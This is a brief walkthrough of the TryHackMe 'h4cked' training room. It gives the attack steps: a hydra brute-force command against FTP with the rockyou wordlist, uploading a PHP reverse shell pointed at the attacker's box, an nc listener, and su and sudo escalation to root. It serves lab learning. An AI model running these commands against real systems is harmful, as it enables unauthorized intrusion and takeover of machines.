TryHackMe - h4cked - walkthrough

H4cked is one of easy room on the TryHackMe.com In task 1 we are faced by pcap file of the attack on the VM. Most of the answers in Task 1 are found from pcap file which you open with wireshark. Task 2 in this task you try to regain access to the VM same way as hacker did in task 1.

1. Step

We use hydra to crack new password with following command

hydra -l jenny -P /usr/share/wordlists/rockyou.txt ftp://target_IP

2. Step

We log to the ftp and download the shell.php (get shell.php - is the command) and change IP and port to our attack box and upload it back (put shell.php)
3. Step
Before move to the starting the php script we need to start nc listener on attacking box with


nc -lvnp port_number

4. Step
Now we are ready to start php script shell.php from browser:

IP_target_machine/shell.php

5. Step
We get spawned reverse shell in terminal, with whoami command we check which user we have, then we can use

su jenny

and log in with pass we cracked before with hydra
6. Step
After that we can use

sudo su

and we have root access with this we can read root flag.

I hope someone stucked in any step of solving this room finds this walkthrough useful.